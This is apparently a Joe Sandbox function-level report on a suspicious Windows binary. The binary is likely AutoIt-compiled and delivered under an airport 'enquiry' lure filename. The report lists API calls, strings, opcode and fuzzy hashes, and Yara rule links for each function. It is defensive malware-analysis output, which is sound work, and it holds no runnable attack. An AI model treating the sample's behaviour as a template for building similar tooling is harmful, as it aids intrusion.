API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 33df11be0907cf81a8a4100cec5127f218684bc0284939d516771ef992f1d54e
Instruction ID: 63a3ef4672ef55410f3af88995453dde589e47157503e8f8c65fe54b485782d4
Opcode Fuzzy Hash: 33df11be0907cf81a8a4100cec5127f218684bc0284939d516771ef992f1d54e
Instruction Fuzzy Hash: 7B21C874900204BBDF15AB61CCC5EFEBB74EF44300F500116F621973A1DB75991AEB20

Function 00CD9645 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00CD9651
GetClassNameW.USER32(00000000,?,00000100), ref: 00CD9666
_wcscmp.LIBCMT ref: 00CD9678
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00CD96F3

Strings

list, xrefs: 00CD96D5
SHELLDLL_DefView, xrefs: 00CD9672
largeicons, xrefs: 00CD9687
details, xrefs: 00CD96A1
smallicons, xrefs: 00CD96BB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: a6c20717d5bc78fc386e122f1d9f4223979f35c969561387d654d28c1d93f4e6
Instruction ID: c287b0d07618a7164503a9dac3c7658ea0b6ae08c2ab92787ce26aa77470a467
Opcode Fuzzy Hash: a6c20717d5bc78fc386e122f1d9f4223979f35c969561387d654d28c1d93f4e6
Instruction Fuzzy Hash: 6C113A7B248343BAF6112621DC27DA6B79CCB01324F200127FB10E51E1FEB2EA425A68

Function 00CF8BC0 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CF8BEC
CoInitialize.OLE32(00000000), ref: 00CF8C19
CoUninitialize.OLE32 ref: 00CF8C23
GetRunningObjectTable.OLE32(00000000,?), ref: 00CF8D23
SetErrorMode.KERNEL32(00000001,00000029), ref: 00CF8E50
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00D12C0C), ref: 00CF8E84
CoGetObject.OLE32(?,00000000,00D12C0C,?), ref: 00CF8EA7
SetErrorMode.KERNEL32(00000000), ref: 00CF8EBA
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00CF8F3A
VariantClear.OLEAUT32(?), ref: 00CF8F4A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: af7b1bcb30527e515f42ffced28da45a678e242ac03bd9981dcc20fe018445cb
Instruction ID: bae85ebd3dc40c43ce7f59885445df92941c6e230d98e3f3d20bec7d657300a1
Opcode Fuzzy Hash: af7b1bcb30527e515f42ffced28da45a678e242ac03bd9981dcc20fe018445cb
Instruction Fuzzy Hash: ACC13571204309AFD740EF64C884A6AB7E9FF88748F10491DF68ADB251DB71ED49CB62

Function 00CE4189 Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00CE419D
__swprintf.LIBCMT ref: 00CE41AA

Part of subcall function 00CA38D8: __woutput_l.LIBCMT ref: 00CA3931

FindResourceW.KERNEL32(?,?,0000000E), ref: 00CE41D4
LoadResource.KERNEL32(?,00000000), ref: 00CE41E0
LockResource.KERNEL32(00000000), ref: 00CE41ED
FindResourceW.KERNEL32(?,?,00000003), ref: 00CE420D
LoadResource.KERNEL32(?,00000000), ref: 00CE421F
SizeofResource.KERNEL32(?,00000000), ref: 00CE422E
LockResource.KERNEL32(?), ref: 00CE423A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00CE429B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: f9be9ea416586cbed16a3dc42e84bb4f3145368ba6c5602b5c3b4dfbcd416d5e
Instruction ID: 960b2126122d81c15bd55790bbae0e4f6b318df27d03fdd83385f855f73cce66
Opcode Fuzzy Hash: f9be9ea416586cbed16a3dc42e84bb4f3145368ba6c5602b5c3b4dfbcd416d5e
Instruction Fuzzy Hash: 7E31DE71A0128AABCB15DF62DC48EBF7BACEF09301F104425FA15E6250E734DA119BB4

Function 00CE16DE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CE1700
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE1714
GetWindowThreadProcessId.USER32(00000000), ref: 00CE171B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE172A
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CE173C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE1755
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE1767
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE17AC
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE17C1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00CE0778,?,00000001), ref: 00CE17CC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: d9eda55e40e0f11bb7986eb8aa90c70f2f0ef4c185cfe27593de253e20decd87
Instruction ID: 90ddb54b6fd8b3092b359d7d02d6662c38301d26e373606e3b171c55c75db82b
Opcode Fuzzy Hash: d9eda55e40e0f11bb7986eb8aa90c70f2f0ef4c185cfe27593de253e20decd87
Instruction Fuzzy Hash: AE31BF79600344BBEB21DF16DC84B693BA9EF5AB51F254028FC14C63A0DB709E448B70

Function 00C8FBBD Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00C8FC06
OleUninitialize.OLE32(?,00000000), ref: 00C8FCA5
UnregisterHotKey.USER32(?), ref: 00C8FDFC
DestroyWindow.USER32(?), ref: 00CC4A00
FreeLibrary.KERNEL32(?), ref: 00CC4A65
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00CC4A92

Strings

close all, xrefs: 00C8FC01

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 936f17f2a77ebf2d409ec5975f853dda2c93ac5c4ecc97592c93b09ce90c0a39
Instruction ID: 173f9ca908fae557daa0679a131d51a14615102205f5e5e465a1bdc2dbb3a124
Opcode Fuzzy Hash: 936f17f2a77ebf2d409ec5975f853dda2c93ac5c4ecc97592c93b09ce90c0a39
Instruction Fuzzy Hash: 93A17C347012128FCB28EF55C4A5F69F7A4AF04704F1482ADE91AAB251DB30EE17EF58

Function 00CDA693 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00CDAA64), ref: 00CDA9A2

Strings

INSTANCE, xrefs: 00CDA8B0
NAME, xrefs: 00CDA7D4
TEXT, xrefs: 00CDA8D9
CLASS, xrefs: 00CDA721
CLASSNN, xrefs: 00CDA744
REGEXPCLASS, xrefs: 00CDA767

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 61f13547f39a36b3cc15fe95794db42dcf3e486b445cb81f3a2f60623dfa34a1
Instruction ID: dcb0366d9c69b2152a85f8cc4acb0af08b8c209687ee67bc324a2792c4099a15
Opcode Fuzzy Hash: 61f13547f39a36b3cc15fe95794db42dcf3e486b445cb81f3a2f60623dfa34a1
Instruction Fuzzy Hash: 6891EA71A00506DBDB08DF70C491BEDFB75BF04304F50811AE999A7351DF30AA59DBA1

Function 00C82E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00C82EAE

Part of subcall function 00C81DB3: GetClientRect.USER32(?,?), ref: 00C81DDC
Part of subcall function 00C81DB3: GetWindowRect.USER32(?,?), ref: 00C81E1D
Part of subcall function 00C81DB3: ScreenToClient.USER32(?,?), ref: 00C81E45

GetDC.USER32 ref: 00CBCF82
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00CBCF95
SelectObject.GDI32(00000000,00000000), ref: 00CBCFA3
SelectObject.GDI32(00000000,00000000), ref: 00CBCFB8
ReleaseDC.USER32(?,00000000), ref: 00CBCFC0
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00CBD04B

Strings

U, xrefs: 00CBCF20

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 5a97d548cdcb18c865f715d2638f664adebb69a226faa888905298ad8e80c532
Instruction ID: 6b6e221ab06499f1fa2d0e4f22289484f6c39e6ab0532c4a62569efb747d044c
Opcode Fuzzy Hash: 5a97d548cdcb18c865f715d2638f664adebb69a226faa888905298ad8e80c532
Instruction Fuzzy Hash: 1471E530400205DFCF21EF64C884AFA3BB5FF49365F1442AAED669A2A5D7318D41DB65

Function 00D0C27C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

Part of subcall function 00C82344: GetCursorPos.USER32(?), ref: 00C82357
Part of subcall function 00C82344: ScreenToClient.USER32(00D467B0,?), ref: 00C82374
Part of subcall function 00C82344: GetAsyncKeyState.USER32(00000001), ref: 00C82399
Part of subcall function 00C82344: GetAsyncKeyState.USER32(00000002), ref: 00C823A7

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00D0C2E4
ImageList_EndDrag.COMCTL32 ref: 00D0C2EA
ReleaseCapture.USER32 ref: 00D0C2F0
SetWindowTextW.USER32(?,00000000), ref: 00D0C39A
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00D0C3AD
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00D0C48F

Strings

@GUI_DRAGFILE, xrefs: 00D0C424
@GUI_DROPID, xrefs: 00D0C3E1

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 9c41dfe878090fe977207a561ed8235c3c1eb121ab83d34adcc63b691e5f36e7
Instruction ID: 3ba02261a28f80ad42f08f1a39300a1be0447ede19d3c8c0133d7f9df7875db8
Opcode Fuzzy Hash: 9c41dfe878090fe977207a561ed8235c3c1eb121ab83d34adcc63b691e5f36e7
Instruction Fuzzy Hash: E6519D74204300AFD714EF10C895FAA77E4FB89314F14461DF596872E1DB71E948DB62

Function 00CF8F5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00D0F910), ref: 00CF903D
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00D0F910), ref: 00CF9071
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00CF91EB
SysFreeString.OLEAUT32(?), ref: 00CF9215

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: df6d0f4170718a8e4ebd35323e80c9ce520962aad82e348a6218aec5312bfdf5
Instruction ID: 56c4da879c4170cfc584f0d2aa87595948a917b3345430b3353a3e60b24ca66f
Opcode Fuzzy Hash: df6d0f4170718a8e4ebd35323e80c9ce520962aad82e348a6218aec5312bfdf5
Instruction Fuzzy Hash: 6EF10871A00209AFDF54DF94C888EBEB7B9FF89314F108059F616AB260DB31AE45CB51

Function 00CFF9A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CFF9C9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFB5C
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFB80
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFBC0
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFBE2
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00CFFD5E
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00CFFD90
CloseHandle.KERNEL32(?), ref: 00CFFDBF
CloseHandle.KERNEL32(?), ref: 00CFFE36

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 268b53b891b4a1ecd35cdcef1db9d9f83e9dca1b5e31207ae1eddceaebeeb535
Instruction ID: fdbe6c9acd7375932a254b86563dbf2aa6c4824a48f35542947ebb91795b7e5a
Opcode Fuzzy Hash: 268b53b891b4a1ecd35cdcef1db9d9f83e9dca1b5e31207ae1eddceaebeeb535
Instruction Fuzzy Hash: 7EE1B2312043459FC724EF24C891B7ABBE0EF85354F18846DF9998B2A2DB31ED46DB52

Function 00CE4F63 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00CE38D3,?), ref: 00CE48C7

Part of subcall function 00CE48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00CE38D3,?), ref: 00CE48E0

Part of subcall function 00CE4CD3: GetFileAttributesW.KERNEL32(?,00CE3947), ref: 00CE4CD4

lstrcmpiW.KERNEL32(?,?), ref: 00CE4FE2
_wcscmp.LIBCMT ref: 00CE4FFC
MoveFileW.KERNEL32(?,?), ref: 00CE5017

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 26c2301d7ba1687fcf6308b9856b7709e3ac883a922ff75409fedaeab17f57fc
Instruction ID: aa36c96a91716bab05b44397b22d80ace04287e184811c93406c57fed9484bbc
Opcode Fuzzy Hash: 26c2301d7ba1687fcf6308b9856b7709e3ac883a922ff75409fedaeab17f57fc
Instruction Fuzzy Hash: 935175B20087859BC724EBA5CC819DFB3ECAF85344F10092EF599D3191EF74E6889766

Function 00D088B4 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00D0896E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: cdb688926bf46cfc0564f950312cde54e16bcaacd93ea8057dcc357bd8ca7025
Instruction ID: 36ebdef46e37042387fa6d9e6f437c137e0b2c63c444742e917faf716322d697
Opcode Fuzzy Hash: cdb688926bf46cfc0564f950312cde54e16bcaacd93ea8057dcc357bd8ca7025
Instruction Fuzzy Hash: E4517430A00308BBDF309F28DC89BA97B65FB15324F644116F599E66E1DF71E980AB71

Function 00C82B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00CBC547
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00CBC569
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00CBC581
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00CBC59F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00CBC5C0
DestroyIcon.USER32(00000000), ref: 00CBC5CF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00CBC5EC
DestroyIcon.USER32(?), ref: 00CBC5FB

Part of subcall function 00D0A71E: DeleteObject.GDI32(00000000), ref: 00D0A757

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 497d6e04c8abb3f3f05fc0e9c7c3e12d800c9b4140676e560e02f1d915232045
Instruction ID: 48651461c52616c109365196d74b913903b972c0f050d6bf719b91b183292db3
Opcode Fuzzy Hash: 497d6e04c8abb3f3f05fc0e9c7c3e12d800c9b4140676e560e02f1d915232045
Instruction Fuzzy Hash: CD516974600309AFDB24EF25CC89FAA77B5EB54314F100528F916D76A0DB70EE90EB60

Function 00CD9B50 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CDAE57: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDAE77
Part of subcall function 00CDAE57: GetCurrentThreadId.KERNEL32 ref: 00CDAE7E
Part of subcall function 00CDAE57: AttachThreadInput.USER32(00000000,?,00CD9B65,?,00000001), ref: 00CDAE85

MapVirtualKeyW.USER32(00000025,00000000), ref: 00CD9B70
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00CD9B8D
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00CD9B90
MapVirtualKeyW.USER32(00000025,00000000), ref: 00CD9B99
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00CD9BB7
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00CD9BBA
MapVirtualKeyW.USER32(00000025,00000000), ref: 00CD9BC3
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00CD9BDA
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00CD9BDD

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 7e01b60d51d2bf624f5fe52cbe4ad76a08a66b47487e53f43875bcc5c94fe61d
Instruction ID: fa6f88c3bb2ce96f10a98a020a9ddd9757990b25001cd6e8c6c984d293bbf69c
Opcode Fuzzy Hash: 7e01b60d51d2bf624f5fe52cbe4ad76a08a66b47487e53f43875bcc5c94fe61d
Instruction Fuzzy Hash: 5F11E171550718BFF6206B60DC89F6A7B2DEB4C751F610426F348AB6A0CAF35C10DAB4

Function 00CD8E03 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00CD8A84,00000B00,?,?), ref: 00CD8E0C
HeapAlloc.KERNEL32(00000000,?,00CD8A84,00000B00,?,?), ref: 00CD8E13
